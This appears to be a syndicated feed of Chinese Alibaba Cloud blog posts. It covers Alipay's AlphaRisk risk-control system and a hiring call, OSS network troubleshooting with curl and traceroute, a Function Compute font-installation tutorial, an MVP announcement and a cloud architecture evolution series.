        互联网是一个开放的世界,不法分子、黑产都会想在其中寻找牟利的机会,互联网重要业务的开展现在都离不开多种网络安全的能力,当一个公司不具备这方面足够能力的时候,很容易使得业务开展举步维艰,甚至直接影响公司的生存,比如,游戏(入侵系统、游戏外挂)、社交(内容安全)、营销广告(营销作弊)、电商(刷单、欺诈),愈演愈烈的风险手法已经不是在单一的安全领域能独立解决的,更需要从整个安全体系来看,综合的安全防控方案是什么,基础安全和业务安全深入联动也已成为行业共识。

        相对应地,基础安全技术和业务安全技术也两者从原先的相对比较独立到逐渐走向了融合,业务安全主要基于大数据计算、模型算法来做风险检测,基础安全在反入侵、反爬主机安全等方面也使用很多的大数据技术,两者在风险的联合防控上越来越紧密,在技术上大数据计算、人工智能方面也有越来越多的交集。支付宝AlphaRisk就是这方面的典范。

        陈锣斌重点揭示:网络安全趋势将走向需要综合性防控的道路,单一安全/风险技术都很难防控住目前互联网上的新型风险。

        支付宝为什么腰杆这么硬:“你敢付,我敢赔。”

        早在2005年,支付宝就有相应的风控系统以及对应的职能部门,为守护客户的每一分钱而努力。“你敢付,我敢赔”的理念一直延续至今。

        相信有不少人看过《智造将来》黑客攻击支付宝的电视节目,节目中几位顶尖黑客拿着“真枪实弹”一层层攻入一位普通用户的支付宝,试图转走5元。5元在普通的转账过程中其实是极为正常的,这样小额的数目为支付宝的安全系统带去了更大的挑战。据支付宝大安全掌门人芮雄文回忆,当时确实捏了一把冷汗,黑客已经拿到了支付宝用户的密码、银行卡,甚至已经用软件控制了手机可以发送验证码当场修改密码……在看似360度无死角的黑客攻击后,支付宝的AlphaRisk依旧是完美地阻止了所有非正常的支付行为。

        当“黑客”攻入支付系统时,雄文在内的所有人都捏了一把汗

        支付宝已经成为用户全球排名第一的移动支付工具,而保障支付宝毫发未损的风控系统经历了五代升级,现如今,它的正式名称为“AlphaRisk”。

        AlphaRisk是支付宝风控多年实践与技术创新的智慧结晶,是全球最先进的风控系统之一,在其保护下,支付宝交易资损率不到千万分之一,远低于国际同行。“如果拿自动驾驶的等级定义来比喻,目前AlphaRisk处于L2和L3之间。在智能化的加持下,处于行业领先水平。”陈锣斌说。

        AlphaRisk的原理是应用AI技术颠覆传统风控的运营模式,通过Perception(风险感知)、AI Detect(风险识别)、Evolution(智能进化)、AutoPilot(自动驾驶)4大模块的构建,将人类直觉AI(Analyst Intuition)和机器智能AI(Artificial Intelligence)完美结合,打造具有机器智能的风控系统,愿景是实现风控领域的“无人驾驶”技术。

        支付宝平台上每天都有上亿笔交易,通过AlphaRisk智能风控引擎,不仅能够对每个用户的每笔支付进行7×24小时的实时风险扫描;同时通过不断新增的风险特征挖掘和优化算法迭代的模型,自动贴合用户行为特征进行进化风险对抗,不足0.1秒就能完成风险预警、检测、管控等流程,确保用户账户安全和支付交易的万无一失。

        安全一直是支付宝发展的生命线,支付宝从一而终地践行着“你敢付,我敢赔”的理念,时至今日,支付宝在风控领域的探索、创新,以及落地应用都处于世界的前列。

        “热情加实践经验是最重要的”

        目前支付宝大安全也一定程度上代表了当今世界安全技术的巅峰,加入这个团队你必然会被培养成在网络安全技术领域的中流砥柱。

        在陈锣斌眼里,安全风控领域是集基础建设、安全攻防、大数据技术、人工智能于大成的一个交叉领域。由于在激烈的复杂对抗一线,在这个领域的人能得到最充分的锻炼,技术也最有希望快速做到业界顶尖。

        对于想加入大安全的同学来说,陈锣斌建议同学们在夯实基础的同时,还是要多多动手,多做,无论实验室项目还是企业实习项目,实际去做和停留在理论上是不同的结果,具体还有如下三点:

        1.技术基础:计算机基础知识扎实、数据结构、算法等能活学活用,有1~2门掌握的较好的语言。

        2.有成果:有较多的实践,有实际项目经验很重要,真正用技术、算法去解决过一些问题,也可以是去参加过什么比赛,有过何种收获等。

        3.有热情:学习能力,平时在自己的领域之外,是否有关注更多的前沿技术,学了什么,去思考过什么。

        加入我们

        > 团队介绍

        蚂蚁金服大安全事业群是管理蚂蚁金服账户安全、资金安全、内容安全和数据信息安全、系统平台安全的核心部门。团队运用最新的生物核身技术和大数据技术,结合专家经验、数据分析方法和AI手段,保障用户的权益和资金安全。

        蚂蚁金服的旗下产品包括支付宝、蚂蚁财富、芝麻信用、花呗、相互宝、余额宝、蚂蚁金服等。

        > 你想要的我们都有

        前沿领域:科技驱动金融,金融科普大众,支付宝的核心业务在于安全。参与建设各种安全项目,感受安全如何成为实现普惠金融、构建新金融生态的核心驱动力。

        一流平台:全球10亿用户的大平台,全球一流的互联网安全技术体系!近距离接触支付宝风控多年实践与新技术创新的最新成果——第五代智能风控引擎AlphaRisk!

        最新技术:体验应用AI技术颠覆传统风控的最新动向,参与建设具有机器智能的风控系统,一起实现风控领域的“无人驾驶”技术。

        > 岗位简介

        社招工作地点:杭州

        校招/实习工作地点:杭州/上海/成都/北京

        校招/实习岗位类型:

        1. 研发类:Java、C++、安全、前端、客户端、数据研发

        2. 算法类:机器学习、图像图形、NLP等

        > 简历投递

        邮箱:luobin.chen@antfin.com

        蚂蚁金服“共战‘疫情’,技术破局”数字课堂线火热直播中。4月2日,走进阿里云云栖号在线课堂,蚂蚁金服数据技术专家王嘉喆和高级体验设计师徐海豪将针对新版Ant Design 4.0的整体设计思路,以及在图表自动生成的用法和原理上的突破进行详细介绍。扫描下方二维码即可观看直播!

        ]]>
        免费下载 | 全景揭秘阿里文娱智能算法 Fri, 02 May 2025 09:39:04 +0800 文娱大脑究竟能有多“智能”?答案是全生命周期的人工智能技术!从内容智能到增长营销,全景揭秘阿里文娱智能算法,就在这一本!

        点击这里免费获取电子书

        image.png

        阿里是一家坚信数据力量的公司,而文娱涉及的相关产业非常广泛,从线上到线下、从影剧综漫到现场娱乐以及文学小说等,其组成、形式、展现、分发的复杂性交织在一起为业务数据化带来了巨大的挑战。

        近三年来,阿里文娱摩酷实验室始终以助力业务发展和增长为核心驱动,形成如下四个的技术方向:

        image.png

        内容理解是文娱相关算法技术的基石,IP、小说、剧本、视频、音乐等不同形态的内容对构建起领域知识图谱带来了很多困难,在这其中计算机视觉、自然语言处理、图谱&推理、图神经网络、多模态内容分析等技术被广泛应用于内容解构。以视频为例,影剧综视频的时长很难用一些低层级的标签来抽象表达其内容,基于多模态的分析技术在这类内容上也会碰壁,因此融合内容专家及机器学习系统的半自动化微标签体系成为一种可行的出路。与短视频快速的线上反馈闭环不同,即使制作周期最短的综艺节目也需要 3 个月以上,期间还面临内容监察审核的不确定,这就导致影剧综内容制作高度的不确定性,如何基于复杂的数据分析线索以及历史的成败规律来选择评估内容是各个综合视频平台所面临的核心挑战之一,而阿里文娱北斗星系统就是用来解决这一问题的。

        搜索和推荐作为两种解决信息爆炸的重要手段被广泛应用于各个 APP 中,而影剧综内容的复杂性导致用户想精确描述一个内容非常困难,仅通过节目名、演员名去检索给用户也造成了很大的困扰。在文娱内容的分发体系中对搜索模式、推荐模式的融合成为新的用户需求,如何更为准确的通过类强化学习的用户意图理解过程来协助他们尽快找到喜爱的内容,成为文娱搜推体系下一阶段的首要任务。

        文娱作为产业互联网发展的重要行业,人工智能技术在这个领域中的应用空间广大,而我们也仅仅是迈出了一小步,期待工程师们能够创造出更大的奇迹,加速文娱产业数字工业化时代的到来。

        ]]>
        E-MapReduce弹性低成本离线大数据分析 Fri, 02 May 2025 09:39:04 +0800 作者:明誉


        大数据是一项涉及不同业务和技术领域的技术和工具的集合,海量离线数据分析可以应用于多种商业系统环境,例如,电商海量日志分析、用户行为画像分析、科研行业的海量离线计算分析任务等场景。

        离线大数据分析概述

        主流的三大分布式计算框架系统分别为Hadoop、Spark和Storm:

        • Hadoop可以运用在很多商业应用系统,可以轻松集成结构化、半结构化以及非结构化数据集。
        • Spark采用了内存计算,允许数据载入内存作反复查询,融合数据仓库、流处理和图形计算等多种计算范式,能够与Hadoop很好地结合。
        • Storm适用于处理高速、大型数据流的分布式实时计算,为Hadoop添加可靠的实时数据处理能力。

        海量离线数据分析可以应用于多种场景,例如:

        • 商业系统环境:电商海量日志分析、用户行为画像分析。
        • 科研行业:海量离线计算分析和数据查询。
        • 游戏行业:游戏日志分析、用户行为分析。
        • 商业用户:数据仓库解决方案的BI分析、多维分析报表。
        • 大型企业:海量IT运维日志分析。

        架构图

        image.png

        方案优势

        • 高性能、低成本
        • 快速部署
        • 弹性
        • 多种计算模式
        • 无缝对接开源生态
        • 一站式管理平台

        方案详情

        详情请参见E-MapReduce弹性低成本离线大数据分析最佳实践


        对开源大数据感兴趣的同学可以加小编微信(图一二维码,备注进群)进入技术交流微信2群。也可钉钉扫码加入社区的钉钉群

        image.png

        阿里巴巴开源大数据技术团队成立Apache Spark中国技术社区,定期推送精彩案例,技术专家直播,问答区数个Spark技术同学每日在线答疑,只为营造纯粹的Spark氛围,欢迎钉钉扫码加入!
        image.png

        Apache Spark技术交流社区公众号,微信扫一扫关注

        image.png

        ]]>
        【OSS 排查方案-3】OSS 的网络排查 Fri, 02 May 2025 09:39:04 +0800

        作者:张医博

        背景

        鉴于之前遇到很多 本地-》OSS ,上传、下载总是慢的情况,或者上传、下载经常出现错误或者异常的问题。根据多个典型案例,抽象出一下排查方案,希望对大家快速定位问题有所帮助。

        一、必要了解信息

        • requestID ,一般情况都会有,标识此次 OSS request 到达 OSS 服务端后返回的标志。除非建联失败,否则都会有这个 requestID 的,当问题比较难排查时可以将 requestID 提供给阿里云客服作为定位线索。
        • 明确 上传/下载 的方式(阿里的工具、SDK、API、浏览器),不同的方式会有不同的思路,类似 JAVA SDK 如果 maxconnection 设小了,也会造成链接等待超时。
        • 使用内网还是公网,大多数我们建议在 ECS 和 OSS 同可用区时最好使用内网,这样费用低,速度还快,公网一般出现拥塞,会被网络无限扩大。
        • 在 client 端 ping traceroute MTR 到 OSS 服务端的截图信息,看看到公/私网是否有丢包,或者用 tcpdump 抓包看下网络是否有高延迟高丢包以及 TCP 协议栈异常的问题。
        • 是否有明显报错,基本上遇到 socket timeout 的情况,都是网络超时,可以从本机的网络以及本机连接数,或者 client 是否有超时设置来排查。。
        • 以上信息收集到后准备测试,源 OSS URL 测试(举例):curl -svo /dev/null http://img.oss-cn-hangzhou.aliyuncs.com/uploads/temp/2018-01-02%20%2013-52-15-operate-stat.xls
        • 如果要是 CDN -》 OSS 的问题,可以分别固定 CDN 和 OSS 源站进行测试 curl -I -x CDNIP:80 http://xxx/xxx,固定源站 curl -I -x http://xxx.oss-cn-xxx.aliyuncs.com/xxx 如果测试 OSS 200 正常, CDN 异常,则问题可能发生在 CDN 侧。

        二、明确自己的服务架构逐层排查

        • 本地 -》 OSS
        • 本地 -》proxy -》OSSproxy 种类有很多,
        • SLB
        • WAF
        • 高防

        三、场景拟合

        1、长时间或者间断性不能访问到 OSS

        这种情况,先确认一下自己 bucket 有没有欠费,是否有被拉黑等,其次再本地的 PC 端 ping 下自己要访问的 OSS 公网域名(如果是用内网 ECS 通过私网 OSS 域名上传,可以 ping 私网域名)是否能通,以及 traceroute 到对端 OSS 的路由路径,看下是否断在了哪一跳。同时请自己网外的他人协助下同时发起 ping 和
        traceroute 测试,看是否同样访问不通。如果是一样场景,可以将搜集的信息反馈给阿里云客服排查服务端是否异常。

        image.png

        场景2、本机上传文件到 OSS 超时,然后自动恢复

        image.png

        如图,遇到这类问题,需要先获取到必要信息。然后结合图中的 error 来看 socket 的异常,基本判断是由于网络问题导致了 Header 响应超时。侧面的 MTR TRACEROUTE 也可以看出来当时的网络质量如何,如网络正常但依然超时,可以直接抓包看下是哪端导致。

        场景3、使用 JAVA SDK 上传文件超时返回 502

        [chat-service] 2017-12-22 11:09:17,443 - com.aliyun.oss:73 -51224385 [http-nio-9081-exec-137] WARN - [Server]Unable to execute HTTP request: The difference between the request time and the current time is too large. [ErrorCode]: RequestTimeTooSkewed [RequestId]: 5A3C77583373BA19746BB032 [HostId]: sobot.oss-cn-beijing.aliyuncs.com [ResponseError]: <?xml version="1.0" encoding="UTF-8"?> <Error> <Code>RequestTimeTooSkewed</Code> <Message>The difference between the request time and the current time is too large.</Message> <RequestId>5A3C77583373BA19746BB032</RequestId> <HostId>xxx.oss-cn-beijing.aliyuncs.com</HostId> <MaxAllowedSkewMilliseconds>900000</MaxAllowedSkewMilliseconds> <RequestTime>2017-12-22T02:53:44.000Z</RequestTime> <ServerTime>2017-12-22T03:09:12.000Z</ServerTime> </Error>
        

        image.png

        如图,可以出现这种 Message ,已经明确告诉你本地与 OSS 服务端的时间差 >15min 导致。“The difference between the request time and the current time is too large”,出现此问题,一般与以下两个原因有关系:
        1)用户本地的时间与服务端器的时区不一致,要求用户本地是标准的 GMT 或者 UTC 时间。
        2)网络拥堵导致的等待时间过长超过 15min 。
        3)JAVA SDK 参数配置不合理,比如 max connection

        具体处理工作流如下

        image.png

        场景4、OSSFTP 上传到 OSS 时,抓包出现 zeroWindows

        image.png

        1、OSSFTP 是将远端的 OSS 挂载到本地,但操作的文件每次都是发起 HTTP 请求远端 OSS ,所以受到网络和本地 IO 的影响,高敏感的业务是不太适合的。

        2、看数据包中客户端发生的 ZeroWindows (代表 本地协议栈的 cache buffer 出现过满,应用层无法消费掉 buffer 的数据)

        3、通过 ECS 机器查看自己 CPU 、内网、网卡 是否有跑满情况,这种情况负载过高必然回导致慢的情况。

        建议:

        1、由于 OSSFTP 是串行,而且是 FTPCLIET->FTPSERVER->OSS SERVER 两段操作性能无法保证,推荐使用 ossutil ,
        链接:https://help.aliyun.com/document_detail/50452.html?spm=5176.doc31935.6.1032.YMtcGp

        2、ossutil 在上传大文件时可以采用分片多线程的粒度上传,而我们的 ossftp 是不存在分片的。所以还是推荐 ossutil

        未完待续

        ]]>
        当打之年,非你莫属——阿里云 MVP第12期全球发布 Fri, 02 May 2025 09:39:04 +0800 阿里巴巴董事会主席兼首席执行官张勇认为:如今,5G网络、工业互联网、物联网等网络基础、数据中心等数字基础、人工智能等运算基础,成为必要而普遍的新型基础设施。加快“新基建”进度,不是简单的基础设施建设,而是与产业化应用协调推进,既能增强基建稳增长的传统属性,又可以助推创新和拓展新消费、新制造、新服务。

        未来需要更多拥有创新能力和实战能力的开发者参与到各个行业中,利用“新基建”拓展商业的边界。

        image.png

        阿里云最有价值专家,简称 MVP(Most Valuable Professional),是专注于帮助他人充分了解和使用阿里云的技术实践领袖。近期,我们重磅发布阿里云 MVP 第12期全球名单。 MVP在各行各业里与阿里云一起改变世界,利用新技术打破商业的边界,创造更多新应用、新工具。他们影响着广大的开发者们,成为行业里的弄潮儿!

        曾任58集团技术委员会主席、转转首席架构师的孙玄,多年的大厂经验,在每个周末沉心修炼技术功底,提升演讲能力。认清自我做自己擅长的事情,拉通集团资源打造弹性的开发平台,让转转在2018年世界杯时顺滑的完成了业务高峰。2020年初放弃优厚的收入创建了“奈学教育”,他专注于数字化转型,在技术驱动和技术革新的环境下,新时代技术人才培训教学体系的革新,现在他拥有了新的身份——阿里云 MVP!

        查看特立独行的架构师——孙玄个人专访!

        豆瓣9.0分的Java大神周志明,他的著作《深入理解Java虚拟机》系列总销量超30万册,他喜欢研究“为什么”:新技术背后的思考是什么?新行业背后的逻辑是为什么?他说技术只是工具,重要的是要用开放的心态去拥抱未来。他虽然是主管但不愿脱离一线开发,一直热衷于开源技术。他建议开发者们通过“说出来、写出来、做给别人看”提升自己的技术水平。这就是阿里云 MVP周志明。

        查看职业电竞选手的Java大神路——周志明个人专访

        杨飞现任每日瑜伽技术负责人,他放下跨国公司的从业经验,从零开始从后端服务器转到系统架构。他说创业公司无边界,大厂有体系,工作就是最好的练兵场,无论身份是什么。啃下难啃的技术难题,与团队形成“正反馈”,不断扩张自己的边界,是他自己多次跨越式成长的心得。

        image.png

        他们扎根行业,磨炼着技术的广度和深度;他们纯粹地拥抱新技术,接受着行业的挑战;他们成为管理者,但仍热爱代码;他们不畏挑战,也勇于接受挑战,快速学习新技术大胆验证。三人行必有我师,他们可能少年老成,他们可能已获取功名,成为所在行业的中坚技术力量,成为公司保驾护航的盾牌,成为行业的革新者,引领着行业走向更高的赛道。

        阿里云 MVP就是一群技术领袖,拓展商业的边界,引领行业的变革,普惠更多的行业及开发者,这是阿里云MVP们的信念!

        一群热爱技术、纯粹的技术人,他们利用云计算、大数据、人工智能、区块链等等技术,让行业中的不可能变成了可能。

        ]]>
        Serverless 解惑——函数计算如何安装字体 Fri, 02 May 2025 09:39:04 +0800 0745C687-1851-464a-928B-2B0DE9FB5D56.png

        前言

        首先介绍下在本文出现的几个比较重要的概念:

        函数计算(Function Compute): 函数计算是一个事件驱动的服务,通过函数计算,用户无需管理服务器等运行情况,只需编写代码并上传。函数计算准备计算资源,并以弹性伸缩的方式运行用户代码,而用户只需根据实际代码运行所消耗的资源进行付费。函数计算更多信息 参考
        buried_point
        Fun: Fun 是一个用于支持 Serverless 应用部署的工具,能帮助您便捷地管理函数计算、API 网关、日志服务等资源。它通过一个资源配置文件(template.yml),协助您进行开发、构建、部署操作。Fun 的更多文档 参考

        备注: 本文介绍的技巧需要 Fun 版本大于等于 3.6.7。

        函数计算运行环境中内置一些常用字体,但仍不满足部分用户的需求。如果应用中需要使用其它字体,需要走很多弯路。本文将介绍如何通过 Fun 工具将自定义字体部署到函数计算,并正确的在应用中被引用。

        你需要做什么?

        1. 在代码(CodeUri)目录新建一个 fonts 目录
        2. 将字体复制到 fonts 目录
        3. 使用 fun deploy 进行部署

        工具安装

        建议直接从这里下载二进制可执行程序,解压后即可直接使用。下载地址

        执行 fun --version 检查 Fun 是否安装成功。

        $ fun --version
        3.7.0

        示例

        demo 涉及的代码,托管在 github 上。项目目录结构如下:

        $ tree -L -a 1
        
        ├── index.js
        ├── package.json
        └── template.yml

        index.js 中代码:

        'use strict';
        
        var fontList = require('font-list')
        
        module.exports.handler = async function (request, response, context) {
            response.setStatusCode(200);
            response.setHeader('content-type', 'application/json');
            response.send(JSON.stringify(await fontList.getFonts(), null, 4));
        };

        index.js 中借助 node 包 font-list 列出系统上可用的字体。

        template.yml:

        ROSTemplateFormatVersion: '2015-09-01'
        Transform: 'Aliyun::Serverless-2018-04-03'
        Resources:
          fonts-service: # 服务名
            Type: 'Aliyun::Serverless::Service'
            Properties:
              Description: fonts example
            fonts-function: # 函数名
              Type: 'Aliyun::Serverless::Function'
              Properties:
                Handler: index.handler
                Runtime: nodejs8
                CodeUri: ./
                InstanceConcurrency: 10
              Events:
                http-test:
                  Type: HTTP
                  Properties:
                    AuthType: ANONYMOUS
                    Methods:
                      - GET
                      - POST
                      - PUT
        
          tmp_domain: # 临时域名
            Type: 'Aliyun::Serverless::CustomDomain'
            Properties:
              DomainName: Auto
              Protocol: HTTP
              RouteConfig:
                Routes:
                  /:
                    ServiceName: fonts-service
                    FunctionName: fonts-function

        template.yml 中定义了名为 fonts-service 的服务,此服务下定义一个名为 fonts-function 的 http trigger 函数。tmp_domain 中配置自定义域名中路径(/)与函数(fonts-service/fonts-function)的映射关系。

        1. 下载字体

        你可以通过这里下载自定义字体 Hack,然后将复制字体到 fonts 目录。
        此时 demo 目录结构如下:

        $ tree -L 2 -a
        
        ├── fonts(+)
        │   ├── Hack-Bold.ttf
        │   ├── Hack-BoldItalic.ttf
        │   ├── Hack-Italic.ttf
        │   └── Hack-Regular.ttf
        ├── index.js
        ├── package.json
        └── template.yml

        2. 安装依赖

        $ npm install

        3. 部署到函数计算

        可以通过 fun deploy 直接发布到远端。
        image.png

        4. 预览线上效果

        fun deploy 部署过程中,会为此函数生成有时效性的临时域名:
        image.png

        打开浏览器,输入临时域名并回车:

        image.png


        可以看到字体 Hack 已生效!!!

        原理介绍:

        1. fun deploy 时,如果检测到 CodeUri 下面有 fonts 目录,则为用户在 CodeUri 目录生成一个 .fonts.conf 配置文件。在该配置中,相比于原来的 /etc/fonts/fonts.conf 配置,添加了 /code/fonts 作为字体目录。
        2. 自动在 template.yml 中添加环境变量,FONTCONFIG_FILE = /code/.fonts.conf,这样在函数运行时就可以正确的读取到自定义字体目录。

        如果依赖过大,超过函数计算的限制(50M)则:

        1. 将 fonts 目录添加到 .nas.yml
        2. 将 fonts 对 nas 的映射目录追加到 .fonts.conf 配置

        fun deploy 对大依赖的支持可参考《开发函数计算的正确姿势——轻松解决大依赖部署》

        总结

        你只需要在代码(CodeUri)目录新建一个 fonts 目录,然后复制所有字体到该目录即可。Fun 会自动帮你处理配置文件(.fonts.conf),环境变量以及大依赖场景的情况。如果大家在使用 Fun 的过程中遇到了一些问题,可以在 github 上提 issue,或者加入我们的钉钉群 11721331 进行反馈。

        阿里巴巴云原生关注微服务、Serverless、容器、Service Mesh 等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的技术圈。”

        ]]>
        阿里云千万级架构的构建——阿里云 MVP 乔锐杰 Fri, 02 May 2025 09:39:04 +0800 乔帮主直播内容精炼整理、分以下5篇:
        一、分享介绍&架构三原则
        二、云架构、架构的原始阶段和基础阶段
        三、架构动静分离和分布式阶段
        四、架构数据缓存阶段和两个维度拓展阶段
        五、架构微服务阶段

        直接观看视频
        乔锐杰-阿里云千万级架构的构建.jpg

        分享简介

        本次分享阿里云千万级架构的构建——架构的成长演变之路,出自本人的一本书籍《「阿里云」运维架构实践秘籍》。

        书籍主要有四大篇:
        一、云端选型篇
        二、云端实践篇
        三、云端安全篇
        四、云端架构篇

        共十八个章节,所以我更喜欢把书的内容称为云端实践秘籍:“降云十八掌”。
        书籍已上架京东了,正在印刷出版中,大家感兴趣的可以下单预购阅读一下。书籍的内容总共有四五十万字,三百副运维架构图。我历时八年、累积了千家一线互联网企业、在云端实践的干货以及经验,包含了云端二十余款热门产品实践、五十余项常见开源热门技术实践,以及包含云端最热门的:监控、DevOps/容器、智能运维等技术实践。

        主题介绍

        本次的分享的主题内容,主要摘要书籍中的《第17章 云端千万级架构的演变》的精华内容。
        以下为内容提纲
        image.png

        我将通过案例及经验,给大家分享以下4点内容
        一、最原始的单机阶段,如何逐步演变发展到千万级的架构。
        二、架构的成长演变之路。
        三、作为架构师在设计架构的过程中需要注意的点。
        四、阿里云最热门及最新的技术趋势,让大家通往架构师之路少走些弯路。

        我们知道编程的本质是『确定性』,同样一段代码,在任何时候执行,结果应该是确定的,有bug也是确定的。而架构设计的本质是『不确定性』,同样的一个系统,不同公司不同架构师做出的设计差异可能很大,但是呢,都能正常运转。也就是说架构设计更多的是面对多种可能性时进行选择,架构设计领域也没有通用的规范,更多的是依赖每个架构师的经验和直觉。但是,它有3个共性原则隐含其中,分别是:合适原则、简单原则、演化原则。

        架构的三个原则

        首先来看看一个云端汽车官网的案例,主要是一个PHP网站,这是我之前接触到的一个真实的客户案例。
        image.png

        客户连续提了四个需求,很令人崩溃“一个简单的官网有多少人访问,难道还指望做成千万级架构的?”然而,客户还有理有据,说要高可用、要分布式保障业务稳定性等等,有什么问题?这个案例,侧面说明了客户并没有真正理解技术架构所核心依赖的业务场景,只是单纯的为了架构而架构。

        image.png

        (一)架构的第一个原则—合适原则:即合适优于技术本身

        前文汽车官网的案例,是否『高可用』,是否『分布式』,是否采用『热门技术』其实都不重要,重要的是合适。一个官网本身就是业务系统中的边缘系统,一个简单的PHP网站,我们用一台4核8G的云主机来部署即可。真正优秀的架构是核心结合业务情况,能够合理地将资源整合在一起并发挥出最大功效,并且能够快速落地。在架构设计过程中,我们很容易陷入技术本身的误区,而忽略我们业务的本质特点。一味追求最流行的技术架构、追随一线大厂技术架构、追寻大而全的技术架构是没有任何意义的。所以架构的本质就是取舍,不求最新,不求最全,只求最合适。

        (二)架构的第二个原则:简单原则:即简单优于复杂。

        复杂,这就意味着难度增加,不可控风险增加。如果保持简单,能让系统方便理解,方便扩展,并且耦合度降低。简单并不代表没有技术含量,反而简单的实现更为实用,比花哨设计也更能适应系统一步步演化。所以『复杂』在软件领域,代表的不是领先或者先进,而是『问题』。如果简单方案和复杂方案都可以满足要求,架构设计应该选择简单方案。
        image.png

        (三)架构的第三个原则:演化原则:『演化优于一步到位』

        一个好的架构是靠演变而来,而不是单纯的靠设计。我们刚开始做架构设计时,不可能全方位地考虑到架构的高性能、高扩展性、高安全等各方面的因素。随着业务需求越多越多、业务访问压力越多越大,架构不断地演变及进化,因而造就了一个成熟稳定的大型架构。如淘宝网、如Facebook等大型网站的架构,无不从一个小型规模架构,不断进化及演变成为一个大型网站架构。所以不要期望一步到位的设计一个软件架构,不要期望我们设计的一次性架构都能满足业务的不断变化。架构师在进行架构设计时需要牢记这个原则,时刻提醒自己不要贪大求全,或者盲目照搬大公司的做法。

        总结:合适原则>简单原则>演化原则。
        第一原则:合适原则,优先满足现有业务需求;
        第二原则:简单原则,选择简单方案快速落地验证;
        第三原则:演化原则,适当预测业务发展,在问题出现时及时演进。
        这三个原则是一体的,相辅相成的。

        聊完架构的三个原则,接下来我们聊一下云架构。
        下一篇:云架构、架构的原始阶段和基础阶段

        ]]>
        云架构、架构的原始阶段和基础阶段——阿里云 MVP乔锐杰 Fri, 02 May 2025 09:39:04 +0800 乔帮主的直播内容经精炼整理、分以下5篇:
        一、分享介绍&架构三原则
        二、云架构、架构的原始阶段和基础阶段
        三、架构动静分离和分布式阶段
        四、架构数据缓存阶段和两个维度拓展阶段
        五、架构微服务阶段

        直接观看视频

        云架构

        聊完架构的三个原则,接下来我们聊一下云架构。
        随着云计算的普及,在未来对IT资源的需求,都会全部通过云平台获取。那云对技术架构方面又有什么影响及变革呢?
        image.png

        我们先来看看IT三大体系发展方面:
        (1)、物理机体系阶段:传统IOE的架构,其实是物理机的典型代表。对计算资源的使用,需要我们去购买或者租用对应的硬件。

        (2)、然后到了云计算体系阶段:基于传统硬件服务器基础上,通过虚拟化及分布式技术形成对应的云资源平台。对计算资源的使用,我们如同使用水和电一样,在云资源平台上按需索取即可,而我们不用再关注和底层物理硬件打交道。

        (3)、最后到达容器体系阶段:我们既不用关注底层是物理硬件,也不用关注云平台用的是亚马逊、还是阿里云,我们业务都能无缝过渡及运行。让我们对计算资源的使用,脱离硬件、甚至各个云平台的依赖。容器就是大家熟知的Docker技术,有点类似Java的JVM,可以跨平台部署,不依赖底层环境,不管是硬件环境还是云平台等等。

        这三大IT体系,那在IT技术架构方面又有什么样的变化呢(看一下图中的箭头方向,也就是我们技术架构演变进化的方向)
        由物理机体系中的单机架构、集群架构,演变到云计算体系中的分布式架构,然后最终演变到容器体系中的微服务架构。

        接下来主要通过现如今最流行的Web类应用的案例场景,跟大家详细分享在云端如何从一个单机的简单架构,演变成千万级的大型架构。

        架构的最原始阶段:万能的单机

        image.png

        架构的最原始阶段,即一台ECS服务器搞定一切,我们叫万能的单机。传统官网、论坛等应用,只需要一台ECS。对应的 Web服务器、数据库、静态文件资源等,都部署到一台ECS上即可。一般5万PV到30万PV访问量,结合内核参数调优、结合web应用性能参数优化、以及结合数据库调优,基本上都能稳定的运行。在架构原始阶段,采用的云产品,仅仅采用一台ECS部署即可。该阶段技术特点主要有两个:
        一个是应用服务器+数据库+文件数据都部署在一起,另外一个是在传统物理机IT体系下,小型机是单机架构的初期典型代表,用一台小型机(都是高配、几百G的内存)主要部署核心应用及业务。

        那当我们访问压力增大,就进入下一阶段,架构的基础阶段:物理分离Web和数据库。

        架构的基础阶段:物理分离Web和数据库

        image.png

        当我们访问压力达到50万PV到100万PV的时候,部署在一台服务器上面的web应用及数据库等服务应用,会对服务器的系统资源CPU/内存/磁盘/带宽进行争抢。显然单机已经出现性能瓶颈。我们将web应用和数据库物理分离单独部署,解决性能资源争抢的问题。

        在云端我们主要把数据库单独剥离出来,部署在RDS中即可,所以这阶段采用的云产品,相比上阶段,主要增加了RDS。那架构基础阶段的技术特点是什么呢?主要有两点:
        第一点
        在架构原始阶段,我们用一台服务器部署应用服务、数据库、文件数据。随着压力增加,我们架构的演变其实也就是解耦部署的应用服务、数据库、文件数据。物理分离是架构解耦的开始,即解耦应用服务和数据库。解耦战术,其实也决定了架构的高度。

        第二点
        虽然Web应用服务和数据库分离,但是web应用服务和数据库都还是单点部署,整体存在单点故障问题,即web应用服务或数据库宕机,就影响业务正常访问了。

        所以在我们传统物理机体系中:IOE的单机架构(即:IBM的小型机、和Oracle数据库、和EMC存储),是单机架构中典型的代表。都是高配性能的计算资源,在这个阶段的架构,业务基本都是单机部署。有时候数据库和业务代码都甚至部署在一台高配机器上,完全要靠单机的硬件性能来支持更多业务访问。

        当访问压力进一步增大,就到达了架构动静分离阶段:静态缓存 + 对象存储阶段。
        下一篇:架构动静分离和分布式阶段

        ]]>
        架构数据缓存阶段和两个维度拓展阶段 Fri, 02 May 2025 09:39:04 +0800 乔帮主的直播内容经精炼整理、分以下5篇:
        一、分享介绍&架构三原则
        二、云架构、架构的原始阶段和基础阶段
        三、架构动静分离和分布式阶段
        四、架构数据缓存阶段和两个维度拓展阶段
        五、架构微服务阶段

        直接观看视频

        数据缓存阶段:数据库缓存

        image.png

        当访问压力达到500万PV到1000万PV,虽然负载均衡结合多台 Web服务器,解决了动态请求的性能压力。但是这时候我们发现,数据库出现压力瓶颈,常见的现象就是RDS的连接数增加并且堵塞、CPU100%、IOPS飙升。这个时候我们通过数据库缓存,有效减少数据库访问压力,进一步提升性能。

        在这个架构阶段采用的云产品,如左边架构图所示,相比上阶段,主要增加了云memcache或者云Redis。值得注意的是,数据库缓存,需要业务代码改造及支持。哪些热点数据需要缓存,这需要业务方面重点规划。并且云端数据库缓存,已不推荐在ECS中自行搭建Redis、memcache等,我们直接使用对应的云缓存产品即可。这阶段架构有两个技术特点跟大家分享:

        一个是缓存五分钟法则:即如果一条记录频繁被访问,就应该考虑放到缓存里。否则的话客户端就按需要直接去访问数据源,而这个临界点就是五分钟。

        第二个特点,缓存其实是在数据库层面,对数据库的读写分离中,对读的一定程度解耦。

        接着到达架构扩展阶段:垂直扩展。

        架构扩展阶段:垂直扩展

        image.png

